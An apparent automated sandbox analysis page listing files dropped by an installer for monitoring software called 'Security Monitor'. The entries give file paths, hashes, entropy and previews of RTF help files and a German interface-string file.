SHA-512:	A3D6C652A8C362B22B5F4FE4879411C5468DAAE6ACB6A13DA947D14C8E483C83138DC18212E8D2A1D22656985A2AFED8373A7023B4C4D0BD3992EDBEA0D7875E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\screenshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	45200
Entropy (8bit):	5.054793082738369
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmm38RiaKvX2pBEz/9qj+793RM1HWMV5XA:VklnI3K4T7
MD5:	C60A8FC0107FBDBEF9FDD171B44442FD
SHA1:	F0F4187630411D3F6F0DE7ECD98CE99AAD45AAD9
SHA-256:	576A4766C686DC03E95228C84262970BC266ECE801DB7127E68EB8F1080CCFFC
SHA-512:	5E209424A9E25DF565C3648A4350AD76FF144165ACBF02FCD891B1F6EB87AA0CEBE3710F9903D9F796005724B44843E8D36E41768BF2E4188191E97ED58D5C61
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\settings.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	53715
Entropy (8bit):	5.038599976742919
Encrypted:	false
SSDEEP:	768:Vk13TxjelQcX09coHJreOYSN4UIRopZMggLBbWm6V6ER4IE5RP9lIXsqJo6vjo4S:VkLjcv4TI
MD5:	6E82D6B3AAD2EAEC506AA8ABD4728C58
SHA1:	622141D986976DC0ADB2DB17698DBC082BE74674
SHA-256:	91A6F151A727086D36660F130446F70FE6115808C5E56FA36FC82A8CAE25A481
SHA-512:	B0C477686E7583EF9412912A72A7644F80D20EB8EF904E7B0A3F2F89D4B2DB0DD7FC9FDB61B4969787AAE3C931D1B15EA8BAE1BC07CE3D340F40CD3D182804A9
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\siteblock.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44992
Entropy (8bit):	5.035044653724291
Encrypted:	false
SSDEEP:	768:VkGN4Jt0TaGC5X2kwYp+CjcWkDxKWzHkp2Cj3DQS7RfUaMpQXtjfGKSMpoFbaq0r:VkHx/o6Ns4Tp
MD5:	A4B133AED3E483AD18F78E5A993333DC
SHA1:	0B90C31D5E00389329B841BC8AAE13DD5773A69B
SHA-256:	CAAC008A1495175A0AE18434537C0053B46D5289F3128800D689BC7FA4F92830
SHA-512:	A34192B8217C7352E3907976062BC5B3BAB5B6FDE2C9A8C885CA8DD8E48EE9A94226EBF6AE1E05371A051CF041E8C4DCB08957F257C5A349EFEF679A5059F8FF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\snapshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44713
Entropy (8bit):	5.051900255865599
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmqARQOjeF/RS+Lp9XhPXhnPnCLTXM40K:VklnIqxR4Td
MD5:	1BD599E9D3E51995F3F39B6B680BCF5D
SHA1:	E0192B60533DD734AD8B4500125A25E78A48E551
SHA-256:	3894B01C5A095E0EA124AE6FE638F75990FB12D96FFD000EDAAD43D9399D5DEF
SHA-512:	726F4E9BED9C4CBF56AC082A81512ED842EADC28028FD6A8895954C4E946F20681E8C6A28236674E3B1006538E10EC2F5974C4F115D74DD1928E7DC2ABA3FF07
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\sound.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44025
Entropy (8bit):	5.051099948351621
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmqoRWhsPVafhFuogRkPcStxSUeXeq4Ts:VklnIqi4Ts
MD5:	FCD907A82F0CC0B40AB352E6A1D330A9
SHA1:	AB3E2A7ED7791D51D6656A5A133A09CB87A98688
SHA-256:	20618AE093716DFFBF4B00CEBAADE7A5E33D628858BE3B81DD766343752CA2EF
SHA-512:	260890BB6352AE544AFA660DB1CF91CC1CDF5A2843F753F9291F1DB96E7B7E7E1BA10960E48A58F9B42CDD20CFE33C27A10A0A522A713EE8D95711A8ED31A307
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\video.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	46393
Entropy (8bit):	5.040883358685065
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmq9RXRjOotI3qyLbfl4vBLbflAvQLbft:VklnIqG4Tb
MD5:	A44BC6DAA0FB852B0CC5F2930B338509
SHA1:	2E78886E8630AA1D8AEB320F5324635B36FE241E
SHA-256:	87355813ED68AB3CC1FC6AC77DBC2AA16248012FACAEE98F06F106A28D2F688D
SHA-512:	A589A22F3E556B104ECA9D4E557B65218C254587DC3CD73569D7F0101CD1073E61068699BD48CF0B4A695772C82FAD1A689ABC7D6CCB90A043E1FE729140B795
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\websites.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42991
Entropy (8bit):	5.042023549126302
Encrypted:	false
SSDEEP:	768:wqFkwxjeVGh+DoLLXI1nhDGi3w2EHlT2njX8x3DGRlBB42Nn92knS7eOZ/6A97:wqR3zIA97
MD5:	4406D386834A212EB3AD85B6410AEE1B
SHA1:	FE40A4177AEBEF814E9104273942637E62180E61
SHA-256:	4C083A2E2B9A6314BE4C4616010210D7191A949BB5849D140631CAA6AF0B8E5D
SHA-512:	DAD1AC26094545FFBB57D74B6C04ACB2E5279F8B045D3BD53CB27ACD877F6FDC4C9A6894B7A703C5A94EF6805E2AD98D7B1C6588CF9CF90BB790AE2625AA8AD0
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 0

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	19337
Entropy (8bit):	5.025077721740106
Encrypted:	false
SSDEEP:	384:USTHedgI9UbHmTZCmfwoxKza62zxpZ6EV00azBKh:U0I2bH2kRKKzwxpZnj4Kh
MD5:	7EB33A9C085F56E0004E166D1702EEA1
SHA1:	C8C514993F866C3282F2E53C231E5961EE8E3B90
SHA-256:	F96F92DFCD7C119EBD998989312F009D9ABA9E5C3A5B7899A8DD146370F5AFC4
SHA-512:	BA7B7716AD33D71247CEE9CC8B630BBA9B948654D366A892D5F1471B4A5FAD908A774600E8577223FFC043D4BD620BFC4222D2CC833B2AD1DF13CF7ADA5A203E
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="Start"..tbStartHint="Erfassung aktivieren"..tbStop="Stop"..tbStopHint="Erfassung deaktivieren"..tbFind="Finden"..tbFindHint="Nach Protokoll Informationen suchen"..tbSetting="Einstellungen"..tbSettingHint="Programm Einstellungen"..tbAbout=".ber"..tbAboutHint=".ber/ Informationsinfo"..tbHomePage="Home Page"..tbHomePageHint="Gehen Sie zum Programm Home Page"..tbToday="Heute"..tbTodayHint="Gehen Sie zum heutigen Protokoll"..tbHide="Verstecken"..tbHideHint="Stelth Modus (Kein Icon im Systempfad)"..tbMinimize="Minimieren"..tbMinimizeHint="Auf Ablage minimieren"..tbExit="Ausgang"..tbExitHint="Ausgang und Protokollstopp"..gbLog="Vorgangsprotokoll"..tCurrLogSize="Protokollgr..e (Mb)"..tCurrScrSize="Screenshots Gr..e (Mb)"..tCur

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\SN.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	42867
Entropy (8bit):	5.0494431999578
Encrypted:	false
SSDEEP:	768:BXKxdC6T2njX8x3TLjwUtqYepfwDyQbLjJAfop7ATX8zOpSyXZSpyEW7HuHlV1Z9:BYFfIA9p
MD5:	2130BD1D1919D711A5AF21035C3503CC
SHA1:	0F92AF4AD5D98942DD464C2D2DBFB2D23FC7BF1B
SHA-256:	C62CAA4DFD7ADE415A27535B12C7B80992C1617106CEA4D271D8B159D97DC724
SHA-512:	28EF2FF5A3AA227A1532E1283EB5D530F8BC45C401B346503A60CA026718D64A5CB020D198DC43B16FCD3FA751E36524D8BDDEB7E8FA9D3209B86211AB728612
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 020206

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\activity.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	37003
Entropy (8bit):	5.038330646707192
Encrypted:	false
SSDEEP:	768:BbKxdCjOcPI0QhhiLVZMB5WjuOBYB1xlmZ/6A9P:Bs5Un9IA9P
MD5:	75DF6CB458A94E38B33006A5BB1AB3CA
SHA1:	7EE17FB0A1760D5C89FC4B86CB98CF3EA71E333D
SHA-256:	81275BC2F9DF017DD33438D44E3F4ACECDAC376281CD5C37F782538D937F8E3F
SHA-512:	89CD75E4140B9C9F90DB760FA806039017AF4558FC74AE5327F547DD7E3DF14710925F1F7C55C648F7A947753B48703A1AC47F905C9EDF454599828F3CD4A86D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhimino

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\alarms.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	36818
Entropy (8bit):	5.041090274116406
Encrypted:	false
SSDEEP:	768:BbKxdCpT2njX8x3fDVyOvjU0EGi2YuWZ/6A9m:Bs2TyIA9m
MD5:	FF313FAF3C594763F16D083E7036D86A
SHA1:	E0C366F97CBF210063B17FA453D0A2EAA879953A
SHA-256:	FA691CAE1E17899C0EFA053BE2EFDF95D9E4F13C10F02A7683FA5C88E66F52EA
SHA-512:	2D64CF19B391D3900226225EE74DB20DD5542A1F2A8635A92CB83C0B948A815B5FC28ADF979713417EE97EAE0CB02CCD1E2FF1EA5648A9C250DE60221177FEA5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhimino

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\clipboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	36262
Entropy (8bit):	5.030821265978035
Encrypted:	false
SSDEEP:	768:q4OkUx1ETicPI0QhhiLV/gKsmWgFdMXZ/6A9z:q44VUnSIA9z
MD5:	61D796543650EBE8C4A143DCAFAE4D24
SHA1:	54CD649E28D6442AA3946EE9891A156A68A3B2CB
SHA-256:	585B560159CC4BDB9361F30B002CE9AA44AD510FB30A61257076810146B2D918
SHA-512:	201BFB392E79FBC5A62A63610CD19B009ED98C54D5DF34B86C696C757175CD1DB3650B0CE0938C5C3529BD155C9E63E158D153588C723A1F968BDDBF05017A68
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdb

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\delivery.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	68188
Entropy (8bit):	5.031260319156822
Encrypted:	false
SSDEEP:	768:q4eox1edVW3C79k5haj5g5V5V5h5G5P5N5R5gVVhGPN8turfTYlDSsGx7TYlD+sE:q4N18T22yAwfv1vfvZ9I+kXrPtIA9D
MD5:	FAC5492A79C913CDD25F21166FB2CBDC
SHA1:	F989F1D0D67D3B121AD1B4A491FE81CC6D1C55D2
SHA-256:	5C9D5955EB4E98A177EDA4E4B39BF09E19E3D6B83E634CA5C72CEFBDB8FE7178
SHA-512:	A715FC343E1183806AA428EDF040B6964EEA8492751C6453293729874A77F43867246813625D4C0D62ACBD00DC0BDE267EBF1285B3A96C0C5D5B4C9F0BF5CF7D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-1HIS4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	68188
Entropy (8bit):	5.031260319156822
Encrypted:	false
SSDEEP:	768:q4eox1edVW3C79k5haj5g5V5V5h5G5P5N5R5gVVhGPN8turfTYlDSsGx7TYlD+sE:q4N18T22yAwfv1vfvZ9I+kXrPtIA9D
MD5:	FAC5492A79C913CDD25F21166FB2CBDC
SHA1:	F989F1D0D67D3B121AD1B4A491FE81CC6D1C55D2
